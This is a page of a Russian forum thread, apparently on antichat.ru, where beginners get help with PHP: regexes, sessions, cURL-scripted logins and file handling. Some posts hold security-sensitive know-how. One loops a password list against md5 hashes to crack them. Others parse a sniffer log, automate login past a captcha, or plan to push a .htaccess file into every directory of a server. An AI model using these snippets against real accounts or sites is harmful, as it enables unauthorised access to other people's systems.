PDA

Просмотр полной версии : [php] Новичкам: задаем вопросы


Страницы : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 [43] 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66

astrologer
16.05.2009, 19:48
Veteriuz,
if($year % 4 == 0)
{

}=/

.Sylar
16.05.2009, 20:20
Скрипт будет запускаться на локалке. Скрипт должен заходить на сайт, там залогиниться (www.site.ru/login.php?login.php?login=ABC&pass=XYZ). Всё. Как это сделать?

Ru}{eeZ
16.05.2009, 20:27
Скрипт будет запускаться на локалке. Скрипт должен заходить на сайт, там залогиниться (www.site.ru/login.php?login.php?login=ABC&pass=XYZ). Всё. Как это сделать?

Можно через cURL отправлять get, можно через заголовки, можно сокетами...

.Sylar
16.05.2009, 20:50
Напишите как это реализовать "через заголовки". Мне будет легче понять, если будет уже готовый код, а вам набросать всего-то пару строк :)

Ru}{eeZ
16.05.2009, 20:57
header('Location: http://site.ru/login.php?login=ABC&pass=XYZ');

ntldr
16.05.2009, 22:14
file_get_contents('http://site.ru/login.php?login=ABC&pass=XYZ');

Fepsis
17.05.2009, 01:13
Доброй ночи, друзья...!!!
Имеется сайт, с которым необходимо проделать следующее:
1) Залогиниться (при этом надо ввести логин, пароль и капчу)
2) Из ХТМЛ кода вытащить один параметр...

Сделать это надо посредством ПХП скрипта. Планирую сделать так, чтобы при запуске этого скрипта появлялся запрос на введение логина, пароля и капчи, а всё остальное скрипт делал бы автоматически... Так вот пара вопросов:

1) Как получить в скрипт капчу..?!?
2) Как заставить работать скрипт со страницей, на которой я уже авторизовался, да и собственно как авторизоваться..!??!

Что-то подсказывает, касаемо вопроса №2, что придётся юзать курл, но может я не прав или есть другие варианты... Буду благодарен любым советам, линкам...

Велемир
17.05.2009, 03:11
Как получить список директорий FTP сервера ? Вроде команда LIST должна это делать,но при использовании функции ftp_raw() я обломалсо:

FTP 425: Unable to build data connection: File name too long

Везде разные причины,а я так и не понял,в чём дело =_=.Может,кто подскажет ? Возникла такая проблемка: нужно залить .htaccess файл во все директории ниже корня сервера.Вот и...вот и )))

Pashkela
17.05.2009, 03:33
2 Велемир:

Есть именно в этой теме, надоело постить одно и тоже, поищи, не больше 50 стр назад

2 Fepsis:

скрипт авторизации на античате и проверки своих личных сообщений, например (всё уже было, ищите парни лучше):


<?php
$user = 'ваш логин на ачате';
$pass = md5('ваш пароль на ачате');
$cl = curl_init('http://forum.antichat.ru/login.php?vb_login_username='.$user.'&vb_login_password=&cookieuser=1&s=&do=login&forceredirect=1&vb_login_md5password='.$pass);
curl_setopt($cl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($cl, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($cl, CURLOPT_REFERER, 'http://forum.antichat.ru/');
curl_setopt($cl, CURLOPT_HEADER, 1);
curl_setopt($cl, CURLOPT_COOKIEJAR, 'coockie.txt');
$ex = curl_exec($cl);
curl_close($cl);
$exec = curl_init('http://forum.antichat.ru/index.php');
curl_setopt($exec, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($exec, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($exec, CURLOPT_REFERER, 'http://forum.antichat.ru/');
curl_setopt($exec, CURLOPT_HEADER, 1);
curl_setopt($exec, CURLOPT_COOKIEFILE, 'coockie.txt');
$page = curl_exec($exec);
curl_close($exec);
preg_match('#<div class="bigusername">(.*)</div>#',$page,$username);
preg_match('#\(<b>(.*)<\/b>\/(.*)\)#',$page,$messg);
echo 'У пользователя <b>'.$username[1].'</b>&nbsp;&nbsp;'.$messg[0].'&nbsp;сообщений.';
?>

Fepsis
17.05.2009, 12:28
2 Fepsis:

скрипт авторизации на античате и проверки своих личных сообщений, например (всё уже было, ищите парни лучше):


Вот круто, спасибо.. А как быть с капчей..?!?
При авторизации у меня идёт такой запрос:
login.php?username=логин&password=пароль&code=капча
Сама капча генерируется скриптом image.php, как вывести именно "нужную" картинку.?! :confused:

Сори, если гдето уже было, внятного ответа не нашёл..

m0Hze
17.05.2009, 15:59
я уже писал план по такому вопросу.
сначала получаем хидеры, из них выдераем сессиюю капчи, затем выводим окно для ввода капчи,логина пасса, и картинку с image.php?session=выдранная_сессия
и затем отправляем.

Велемир
17.05.2009, 18:32
Ага,если учесть скорость загрузки страниц моего крутого иеобразного браузера - ~ 10 секунд,а то и больше.Прикинь,сколько уйдёт на это времени?

ЗЫ: Я же не заставляю отвечать.Не ответят здесь - ответят где-нибудь ещё.Как я понимаю,форум для того и существует,чтобы получать ответы на интересующие вопросы.Или это не так ?С таким же успехом я могу обрыть весь гугл и забить вообще на форумы.50 страниц... тут какие-то смешные инжекты обсуждают на каждой странице.

.Sylar
17.05.2009, 18:34
Как из строки убрать всё, кроме цифр?
на входе имеем "^&9d02"y7,--2" а на выходе должно быть "90272"
причём внутри этого ^&9d02"y7,--2 как видите, могут быть и кавычки.

Gifts
17.05.2009, 18:47
.Sylar $str = '%^&678#^sj&1)("13';
echo preg_replace('~[^\d]+~','',$str);

Pashkela
17.05.2009, 19:19
<?
$a = 'орпорпргоп2';
if (is_numeric ($a)) echo 'ok';
else echo 'Error';
?>

.Sylar
17.05.2009, 22:43
<?php
set_time_limit(0);
$user = '.Sylar';
$password = 'sdfgb';
$Receiver="fimi68";
$text="";
$t=date("U");

$cl = curl_init('http://www.site.ru/login.php?login='.$user.'&pass='.$password);
curl_setopt($cl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($cl, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($cl, CURLOPT_REFERER, 'http://www.site.ru/');
curl_setopt($cl, CURLOPT_HEADER, 1);
curl_setopt($cl, CURLOPT_COOKIEJAR, 'coofkie.txt');
$ex = curl_exec($cl);
curl_close($cl);

$f="pic.txt"; $f=fopen($f,'r');
$k='0';
$al='0';
$i='0';
while($str=fgets($f,1024))
{
$str=ereg_replace(' ','%20',$str);
$arr[$k]=$str;
$k=$k+1;
}
fclose($f);

while ($k!=0)
{
$fin[$al]=$arr[$k];
$k=$k-1;
$al=$al+1;
}
while ($al>$i)
{
$text=$fin[$al];
$exec = curl_init('http://www.site.ru/send.php?key='.$Receiver.'&amount=1&tag='.$text.'&sign=6ab695062f49b58945f561d9bbf830f0');
curl_setopt($exec, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($exec, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($exec, CURLOPT_REFERER, 'http://www.site.ru/');
curl_setopt($exec, CURLOPT_HEADER, 1);
curl_setopt($exec, CURLOPT_COOKIEFILE, 'coofkie.txt');
$al=$al-1;
$page = curl_exec($exec);
curl_close($exec);
//echo($text.'<br>');
}
$t=time()-$t; print "Время: ".$t." секунд.";
?>


Почему у меня в $text пердаётся НИЧЕГО ?

mailbrush
17.05.2009, 22:54
Быдлокод...

.Sylar
17.05.2009, 23:06
спасибо конечно за коммент, но можно всё же на вопрос поставленный ответить?

Велемир
18.05.2009, 00:24
Имеется пара массивов.Нужно замутить полный перебор элементов обоих:

$passes= array();

$hashes = array();

пробовал мутить двойной foreach(),но получил только меганагрузку в ответ)):



foreach($passes as $p) {


foreach($hashes as $s) {


if(md5($p) == $s) {


fwrite($fp2,"$s:$p\r\n");


} } }



Или конструкция левая,или проц)

Kaimi
18.05.2009, 00:33
Или конструкция левая,или проц)

Или у тебя там мегамассивы

Fepsis
18.05.2009, 02:12
я уже писал план по такому вопросу.
сначала получаем хидеры, из них выдераем сессиюю капчи, затем выводим окно для ввода капчи,логина пасса, и картинку с image.php?session=выдранная_сессия
и затем отправляем.
Извините, если туплю... :rolleyes:
Хидеры это что-то типо этого..?!?

HTTP/1.1 200 OK Date: Sun, 17 May 2009 21:56:10 GMT Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8 X-Powered-By: PHP/5.2.8 Set-Cookie: PHPSESSID=6e7801e6c2d3d3bfd373657ad79daedd; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 7082 Content-Type: text/html


Тут только PHPSESSID
Вариант:
image.php?session=6e7801e6c2d3d3bfd373657ad79daedd
не катит (каждый раз новая картинка появляется...)
Вообще как можно определить идентификатор той или иной картинки капчи..?!?
Вот пример картинки капчи с мейл.ру:
http://win.mail.ru/cgi-bin/x_image?73911456&num=1&x_reg_id=zWSKV4PI
для каждой картинки уникальный адрес... В моём же случае все картинки капчи имеют один и тот же адрес
http://сайт.ком/image.php?
Как быть..?!? :(

NuR
18.05.2009, 02:22
тебе выдали идентификатор сессии 6e7801e6c2d3d3bfd373657ad79daedd

ты по нему получешь картинку с изображением 2+3
в ответ сервер ждет от тебя 5, и в сессию уже записывается другое значение чтобы генерить капчу. каждый раз будет генерироваться новая картинка. это как презервативы с одной коробки, коробка одна а изделия каждый раз новые.

советую сходить на сайт http://www.captcha.ru/
и слить там KCAPTCHA для ознакомления алгоритма генерации капчей, довольно наглядно

ANTIJABBER
18.05.2009, 10:07
Привет всем.

Вопрос такой... нужно запустить внешнюю программу в Windows из PHP.
делаю так:

<?
exec ("start name.bat");
?>

Оно запускается... процесс появляется... а программы не видно. (Запуск от имени system)
Как сделать так, что бы запустилась программа в виндовс и ее было видно =)?

Ru}{eeZ
18.05.2009, 13:05
Имеется пара массивов.Нужно замутить полный перебор элементов обоих:

$passes= array();

$hashes = array();

пробовал мутить двойной foreach(),но получил только меганагрузку в ответ)):



foreach($passes as $p) {


foreach($hashes as $s) {


if(md5($p) == $s) {


fwrite($fp2,"$s:$p\r\n");


} } }



Или конструкция левая,или проц)

for($i = 0; $i < count($hashes); $i++) {
if(md5($passes[$i]) == $hashes[$i]) fwrite($fp2,"$s:$p\r\n");
}

Ru}{eeZ
18.05.2009, 13:10
2Fepsis
Это номер сессии, по нему сервер определяет, что это именно ты и в твою сессию записывает переменную, которая необходима для проверки капчи, ты не можешь её перехваить.

Fepsis
18.05.2009, 15:01
2Fepsis
Это номер сессии, по нему сервер определяет, что это именно ты и в твою сессию записывает переменную, которая необходима для проверки капчи, ты не можешь её перехваить.
Тоесть вариантов нет..??!
Может всё-токи кто-нибудь знает как можно сделать... :(

А возможно авторизоваться на самом сайте вручную, а потом загнать эту страницу в скрипт уже в авторизованном виде..?!?

art2222
18.05.2009, 15:29
не катит (каждый раз новая картинка появляется...)
Тоесть вариантов нет..??!
Может всё-токи кто-нибудь знает как можно сделать...
Конечно будет новая появляться, ты ж новую запрашиваешь, так что все ок, отправляй ответ и все должно быть нормально. Только куки сохраняй и все.

ANTIJABBER
18.05.2009, 16:47
Привет всем.

Вопрос такой... нужно запустить внешнюю программу в Windows из PHP.
делаю так:

<?
exec ("start name.bat");
?>

Оно запускается... процесс появляется... а программы не видно. (Запуск от имени system)
Как сделать так, что бы запустилась программа в виндовс и ее было видно =)?
Помогитеее(((( :(

BiG_][aKeR
18.05.2009, 16:51
Вот такой вопрос. Вопшем есть в переменной много текста (лог сниффера), нужно скопировать в один массив всё что находиться между:

"query";s:***:" и ";

Где *** там каждый раз другое значение...
Помогите такое сделать,походу же регулярка это нужна

Ru}{eeZ
18.05.2009, 17:07
[aKeR']Вот такой вопрос. Вопшем есть в переменной много текста (лог сниффера), нужно скопировать в один массив всё что находиться между:

"query";s:***:" и ";

Где *** там каждый раз другое значение...
Помогите такое сделать,походу же регулярка это нужна

Примерно так:
preg_match_all('|"query";s:.{3}:".+";|',$content,$result);

m0Hze
18.05.2009, 18:07
Примерно так:
preg_match_all('|"query";s:.{3}:".+";|',$content,$result);
пограмотней вот так наверно будет.
preg_match_all('|"query";s:(.*){3}:".+";|',$content,$result);

BiG_][aKeR
18.05.2009, 18:12
Ru}{eeZ,неидёт по следуйшим причинам:
1.Он копирует то и s:***:",хотя мне нужно только содержимое между ними.
2. Он конец "; не роспознает,и копирует кучу мусора есчё,как будто и не указано что где.
3.Мне нужно чтобы каждый фрагмент скопированый был в новой части массива,а не всё в одной,пример:
Есле с етой регуляркой что выше то при выводе:
print($result[0][0]);
он выдаёт всё сразу что скопировал,а должно быть так:
print($result[0][0]); - выдаёт первую строчку что нашёл и скопировал
print($result[0][1]); - выдаёт вторую строчку
print($result[0][2]); - третью
и т.д...

m0Hze
18.05.2009, 18:22
пограмотней вот так наверно будет.
preg_match_all('|"query";s:(.*){3}:".+";|',$content,$result);
preg_match_all('|"query\";s:(.*){3}:\"(.*)\";|',$content,$result);

BiG_][aKeR
18.05.2009, 18:28
m0Hze,и все до единого исправления как и от оригенала результат то же самый,апсолютно... прочти пост выше ^^^

BiG_][aKeR
18.05.2009, 18:44
Вопшем оформил следуйшим образом:

preg_match_all('|"query\";s:(.*){3}:\"(.*)\";|',$content,$result);
$result=$result[0][0];
preg_match_all('#"query";s:(.*?)";s:#is',$result,$result);
$result = $result[0][0];
preg_match_all('#:"(.*?)";s:#is',$result,$result);
$result = $result[1][0];

во второй регулярке меняя:

$result = $result[0][0];
на следуйшюю цыфру,переходил на следуйший кук...вопшем думаю проблем исчерпана,хотя очень желательно было бы ето сделать одной регуляркой...

Cruo
18.05.2009, 22:37
Всем привет, тока начал разбираться в PHP и вот, не могу понять причину ошибки!

код:

<HTML>
<HEAD></HEAD>
<BODY>
<form action="param.php" method="GET">
Имя пользователя: <input name="UserName">
</form>

<?php
print("Iamanidiot<p>");

if ($HTTP_GET_VARS["UserName"]<>"")
{
print("<P> Ваше имя пользователя");
print($HTTP_GET_VARS["$UserName"]);
}

?>
</BODY>
<HTML>

Строчка print($HTTP_GET_VARS["$UserName"]); категорически отказывается работать! Какгбе в чем причина?777

Kaimi
18.05.2009, 22:43
Знак $ из квадратных скобок убери

Cruo
18.05.2009, 23:15
убрал. Все равно не работае... :D

D Mak
18.05.2009, 23:30
Cruo юзай print($_GET['UserName']);

Cruo
18.05.2009, 23:51
$HTTP_GET_VARS не работае какгбе

$_GET работае. Все, проблему решил.

Ru}{eeZ
18.05.2009, 23:56
2Cruo
<input type = "submit"> вставь и сотри action, ты же в тот же скрипт отсылаешь
по правилам <input name="UserName"> замени на <input type = "text" name="UserName">
плюс, используй $_GET вместо $HTTP_GET_VARS, $HTTP_GET_VARS - устаревший вариант, от него возможно откажутся

п.с. сори, не обновлял страницу и не видел ответы

mailbrush
19.05.2009, 00:04
<HTML>
<HEAD></HEAD>
<BODY>
<form action="param.php" method="GET">
Имя пользователя: <input name="UserName">
</form>

<?php
echo "Iamanidiot<p>";

if (!empty($_GET["UserName"]))
{
echo "<P> Ваше имя пользователя ".$_GET["UserName"];
}

?>
</BODY>
<HTML>

AdmSmsTel
19.05.2009, 02:42
Помогите на писать статистику

Cегодня новых зарегино:
Всего участников зарегино:
Показали сегодня баннеров:
Кликов сегодня по баннеру:
Всего показали баннеров:
Всего кликов по баннеру:

скачать базу mysql здесь http://slil.ru/27669577
Спасибо за помощь!:)

reega
19.05.2009, 02:43
Дяди! как сделать "полотенце"???
выводится 25 юзеров на страницу, но ведь можно их либо по 1000 на страницу сделать либо вообще всех на одной расположить.
подскажите.
вот ресурс: http://www.drive2.ru/users/?country=RU&city=&page=last=

вообщем задача просто имена пользователей собрать, кто готов помочь за $ стучитесь 10242782 один

eLWAux
19.05.2009, 11:10
задача просто имена пользователей собрать
пиши в раздел "О Работе".

..
тебе нужен парсер
<?
$f = file_get_contents(http://www.drive2.ru/users/?country=RU&page=1);
preg_match_all(/'<a href="/users/(.+?)/" id="userHrefNickname" class="url fn nickname">.+?</a>/',$f,$m);
foreach($m as $u){ print $u."\n"; }

DVD_RW
19.05.2009, 14:25
Как вывести на php REMOTE_ADDR ? т.е. ип ? :)

<?php
$ip="REMOTE_ADDR";
echo $ip //не понимаю , как задать переменную :(
?>

Fepsis
19.05.2009, 14:38
Как вывести на php REMOTE_ADDR ? т.е. ип ? :)


<?php
$ip=getenv("REMOTE_ADDR");
echo $ip;
?>

Que$t
19.05.2009, 14:41
Как вывести на php REMOTE_ADDR ? т.е. ип ? :)

echo $ip //не понимаю , как задать переменную :(

echo "IP: " .$_SERVER['REMOTE_ADDR'];

DVD_RW
19.05.2009, 15:08
Подскажите компилятор удобный :) а то блокнот надоел :(
не помню как называется... но под нём ещё шаблончики можно делать (=

NuR
19.05.2009, 15:18
DVD_RW, пхп не компилируемый язык, возможно тебе нужен редактор исходного кода.
если нужно что то простое то notepad++ если что то получше то phpdesinger а если совсем хорошая ide то net beans

DVD_RW
19.05.2009, 15:25
Не то это ... я помню он весит 300-350 метров :)
а вот не пробовал там писать что то ... ещё эта тулза ставится когда устанавливаешь win ZVER DVD ... точно помню :) кто то должен знать :(

Que$t
19.05.2009, 15:31
Подскажите компилятор удобный :) а то блокнот надоел :(


Roadsend PHP Compiler 2.9.0 – компилятор PHP

Roadsend PHP Compiler - производит оптимизированные приложения, библиотеки, и Веб приложения из стандартного исходного кода PHP. Компилятор производит машинный код, а не PHP байт код, т.е. интерпретатор не требуется.
То есть вы загоняете исходный код в php-компилятор, а на выходе получаете exe-приложение, которое можно запустить на любом компьютере.
Есть возможность написания на php как консольных приложений, так и приложений под винду.

Размер: 20 MB
http://depositfiles.com/files/4451770
____

так же тут посмотри http://www.softsoft.ru/search/594283/index.htm

AdmSmsTel
19.05.2009, 16:11
Помогите на писать статистику

Cегодня новых зарегино:
Всего участников зарегино:
Показали сегодня баннеров:
Кликов сегодня по баннеру:
Всего показали баннеров:
Всего кликов по баннеру:

скачать базу mysql здесь http://slil.ru/27669577
Спасибо за помощь!



Помочь или за тебя написать, разные вещи. Помочь не вопрос, написать за тебя - плати $


если были лавэ не просил понятно!
кому не трудно будет поможет и не будет просить деньги нe всё за деньги всегда можно делать :rolleyes:

Fepsis
19.05.2009, 16:14
Парни, гляньте пожалуйста код:

<?php

echo'
<form method="POST">
<input type="text" name="username" value="">
<br>
<input type="password" name="password" value="" /><br>
<input type="text" name="code" value=""/><br>
<img src="http://сайт/image.php?" /><br>
<input name="go" type="submit" value="Enter" /><br>
</form>
';


if(isset($_POST['go']))
{


$cl =

curl_init('http://сайт/login.php?username='.$_POST['username'].'&password='.$_POST['password'].'&code='.$_POST['code']);
curl_setopt($cl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($cl, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($cl, CURLOPT_REFERER, 'http://сайт/login.php?r=');
curl_setopt($cl, CURLOPT_HEADER, 1);
curl_setopt($cl, CURLOPT_COOKIEJAR,$_SERVER['DOCUMENT_ROOT'].'/cookiefile.txt');
$ex = curl_exec($cl);
curl_close($cl);



$exec = curl_init('http://сайт/members.php');
curl_setopt($exec, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($exec, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($exec, CURLOPT_REFERER, 'http://сайт/login.php');
curl_setopt($exec, CURLOPT_HEADER, 1);
curl_setopt($exec, CURLOPT_COOKIEFILE, $_SERVER['DOCUMENT_ROOT'].'/cookiefile.txt');
$page = curl_exec($exec);
curl_close($exec);
echo $page;

}


?>


Никак авторизоваться не получается... Такое чувство, что данные username, password и code не передаются на сервак...
Более того, такое чувство, что они не передаются даже когда в строку адреса забиваю
http://сайт/login.php?username=имя&password=пасс&code=код от балды
так как в результате попадаю на обычную страницу авторизации.. А я полагаю должна вылезать страница с надписью "неверный код подтверждения" как при попытке авторизоваться с невернозаполненным полем code...
Запрос правильный.. Проверяс сниффером...
Может быть сервер как-то просекает, что я не через форму авторизации пытаюсь залогиниться..??! Никто с таким не сталкивался..?!? Как быть..??! :(

m0Hze
19.05.2009, 16:15
или жа:
$ip = $_SERVER['REMOTE_ADDR'];

m0Hze
19.05.2009, 16:19
из curl_init() убери все до login.php
создай
$post = 'username='.$_POST['username'].'&password='.$_POST['password'].'&code='.$_POST['code']';
curl_setopt($exec, CURLOPT_POSTFIELDS , $post);

DVD_RW
19.05.2009, 16:32
Я вот так ещё делал :)
echo"getenv("remote_addr")";

извините , если боян

Pashkela
19.05.2009, 16:36
Я вот так ещё делал :)
echo"getenv("remote_addr")";

извините , если боян

Двойные кавычки в двойных кавычках == это врядли

Да еще и функцию туда же занес

bxN5
19.05.2009, 16:59
и опять я застрял дело вот в чем:
есть структура index.php?mod=1 инклудит файл 1.php (типа модуль), но тут не задача в этом 1.php нужно отправить и получить еще одни GET данные например 1.php?id=11 , как это правильно сформировать 1.php работает ток через индекс
значение id я получаю уже в самом 1.php
?

Gifts
19.05.2009, 17:15
bxN5 $_GET - суперглобальный массив
index.php?mod=1&id=11 Это если 1.php инклудится, а не хитро извращается

bxN5
19.05.2009, 17:33
не работает в таком виде
обычно инклудится , только перед инклудом проверочка стоит для не хороших людей
if (!isset($mod) || ($mod=="") || (!file_exists ("mods/$mod.php"))
а вот в таком виде index.php?mod=1&id=11 скрипт тупо игнорирует &id=11

Gifts
19.05.2009, 19:15
bxN5 Не используйте register_globals.

Для примера, файл one.php
<?
echo 'Before include: <hr>';
if (isset($_GET['mod'])) include 'two.php';
echo '<hr>After include';
?>
Файл two.php:
<?
echo '<h1>id = '.$_GET['id'].'</h1>';
?>

При обращении к http://localhost/one.php?mod=1&id=1234567 Выводится все правильно

З.Ы, ваш код уязвим к локальному инклуду

bxN5
19.05.2009, 19:49
спс
а насчет инклуда в курсе )

Cruo
19.05.2009, 22:26
Снова не могу найти ошибку ^^. Задача перенести переменную в другой сценарий.

вот код первого сценария:

<?php

if (session_start())
{
echo("Session started");
}


$user=$UserName;
session_register("user");


if (isset($_GET["UserName"]))
{
echo "<P> Ваше имя пользователя:";
echo $_GET["UserName"];
}


?>

<html>
<head></head>
<body>
<form action="session.php" method="GET">

Имя пользователя: <input type="text" name="UserName">
<input type="submit" name="sub" value="Go">

</form>

<a href="session1.php">link</a>

</body>
</html>

во втором сценарии

<?php

session_start();
echo $user;

?>

-=lebed=-
19.05.2009, 22:31
$user - объяви глобальной или в сессию запиши.

Cruo
19.05.2009, 22:42
session_register("user"); - это разве не оно?

-=lebed=-
19.05.2009, 22:56
session_register("user"); - это разве не оно?
session_register - регистрирует одну или более переменных в текущей сессии.
Просто тупо присвой значение массиву и не парься:
$_SESSION['user']=$user и юзай его где тебе нужно.

Cruo
19.05.2009, 23:07
ок, спасибо.

Fepsis
19.05.2009, 23:50
из curl_init() убери все до login.php
создай
$post = 'username='.$_POST['username'].'&password='.$_POST['password'].'&code='.$_POST['code']';
curl_setopt($exec, CURLOPT_POSTFIELDS , $post);

Чёто тоже не катит..((
делаю так:

<?php
echo'
<form method="POST">
<input type="text" name="username" value="">
<br>
<input type="password" name="password" value="" /><br>
<input type="text" name="code" value=""/><br>
<img src="http://сайт/image.php?" /><br>
<input name="go" type="submit" value="Enter" /><br>
</form>
';

$post = 'username='.$_POST["username"].'&password='.$_POST["password"].'&code='.$_POST["code"];

if(isset($_POST['go']))
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://сайт/login.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR, $_SERVER['DOCUMENT_ROOT'].'/cookiefile.txt');
$result = curl_exec($ch);
curl_setopt($ch, CURLOPT_URL, "http://сайт");
curl_setopt($ch, CURLOPT_COOKIEFILE, $_SERVER['DOCUMENT_ROOT'].'/cookiefile.txt');
$result = curl_exec($ch);
curl_close($ch);
echo $result;
}
?>


Пробовал куки сохранять перед выводом капчи, а потом их вызавать.. Тоже безрезультатно..
Может ещё что посоветуете..?!?
Вообще может на сайте стоять какая-нить защита от подобного рода авторизаций или просто я что-то не так делаю.. :confused:

1NtR0
20.05.2009, 00:25
$url = 'http://ya.ru';
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR, $_SERVER['DOCUMENT_ROOT'].'/cookiefile.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, $_SERVER['DOCUMENT_ROOT'].'/cookiefile.txt');
$result = curl_exec($ch);
curl_close($ch);

zannussi
20.05.2009, 11:06
Ребята, вопрос не простой!
Есть 2 сайта: мой и чужей (последний с авторизацией). Каким образом через мой сайт отправить пост запрос на чужей, чтоб потом у себя проанализировать правильность логин:пасс?
Подозреваю, что гет-запросы режутся, т.к. не проходит:
1)
http://site.com/login.asp?name=name&pass=pass
тоже самае что и
http://site.com/login.asp
при авторизации 2 поля, нет хиден полей, логи:пасс верны.
2)

<?
$name="name";
$pass="pass";
$file=file_get_contents('http://site.com/login.asp?name='.$_POST['name'].'&pass='.$_POST['pass']');

echo "
<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\"
\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">
<html>
<head>
<title>Тест коннекта</title>
</head>
<body>

"?>
<? echo "<H3>$file</H3>";
echo'</body> </html> ';
?>
тоже не проканала
и даже
3)
<?php
$auth_data = "name=name&pass=pass";
$auth_data_len = strlen($auth_data);

$header = "POST http://site.com/login.asp HTTP/1.0\r\n";
$header .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n";
$header .= "Referer: http://site.com\r\n";
$header .= "Accept-Language: uk\r\n";
$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
$header .= "Proxy-Connection: Keep-Alive\r\n";
$header .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)\r\n";
$header .= "Host: site.com\r\n";
$header .= "Content-Length: ".$auth_data_len."\r\n";
$header .= "Pragma: no-cache\r\n\r\n";
$header .= $auth_data;

$sckt = fsockopen("site.com",80);
fputs($sckt,$header);

while(!feof($sckt))
{
$serv_answer = fgets($sckt,2048);
echo $serv_answer;
}
?>

krypt3r
20.05.2009, 11:25
Ошибки обработайте

$sckt = fsockopen("site.com", 80, $errno, $errstr, 30);
if (!$sckt) {
echo "$errstr ($errno)<br />\n";

Скорее всего, на вашем хостинге запрещены сокеты

zannussi
20.05.2009, 11:42
2krypt3r, но страница открыавется как и вслучае http://site.com/login.asp

krypt3r
20.05.2009, 12:14
Одно дело браузером открывать со своего домашнего компа, другое дело пробовать обратиться к тому же линку программно с хостинга, где, возможно, нет поддержки сокетов

zannussi
20.05.2009, 14:09
2krypt3r, каким образом это сделать?
Вот что вернул мне сайт, где я прохожу авторизацию через свой сайт
HTTP/1.1 200 OK
Connection: close
Date: Wed, 20 May 2009 10:06:35 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 11251
Content-Type: text/html
Expires: Wed, 20 May 2009 10:06:35 GMT
Set-Cookie: ASPSESSIONIDACARCQDT=CMHFGDOBHAMMLMLGFHGGGHEH; path=/
Cache-control: private
и дальше
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/ht тра тата

DVD_RW
20.05.2009, 14:10
2 Вопроса :)
как шифровать к примеру как то что вроде такого:
$base64=base64_encode(base64_encode(base64_encode( $text)));
echo $base64;//Как подобное сделать?

И ещё на счёт MD5
Как шифровать в md5 ?

$md5=md5($text);
echo $md5;
//не помогает :(
Подскажите :(

Kaimi
20.05.2009, 14:14
$md5=md5($text);
echo $md5;
//не помогает :(

У тебя особый пхп или руки видимо... У меня почему то все ок
php -r '$text = 123; $md5 = md5($text); echo $md5;'

202cb962ac59075b964b07152d234b70

•†•SyTiNeR•†•
20.05.2009, 15:54
$base64=base64_encode(base64_encode(base64_encode( $text)));
echo $base64;//Как подобное сделать?
<?
$str=base64_encode('text');
echo$str;
?>

И ещё на счёт MD5
Как шифровать в md5 ?

$md5=md5($text);
echo $md5;
//не помогает :(
Подскажите :(
<?
$str=md5('text');
echo$str;
?>

REBUUS
20.05.2009, 20:16
как записать строчку в конец последней строки в ТХТ


$str="меня надо дописать в конец последней строки";
$f2=fopen("222.txt","a+");
fseek($f2, 1, SEEK_END);
fwrite($f2,$str);
fclose($f2);


так пробовал но не получается

Dark_Lord
20.05.2009, 20:25
fseek($f2, 1, SEEK_END);
Зачем?
Без него все прекрасно пашет

$str = "Text";
$log = fopen("file.txt","a+");
fwrite($log,"$str\n");
fclose($log);

REBUUS
20.05.2009, 20:46
так не получается, смотри есть словарь.тхт в виде

аббат = м. 1. abbot; 2. (во Франции) abbe; ~иса ж. abbess;~ство с. abbey.
абзац = м. 1. (отступ в начале строки) indention; с (нового)
~a indent; (new)
paragraph; 2. (часть текста) paragraph.
абитуриент = м. , ~ка ж. university entrant, candidate for university/college

надо его отформатировать, слово = и перевод без лишних enterov
т.е в данном примере поднять ~a indent; (new) paragraph; 2. (часть текста) paragraph. в предыдущую строку. что бы определять кого надо поднимать , просто надо сверять если в строке не встречается символ "=" значить надо текст перенести в конец предыдущей строки

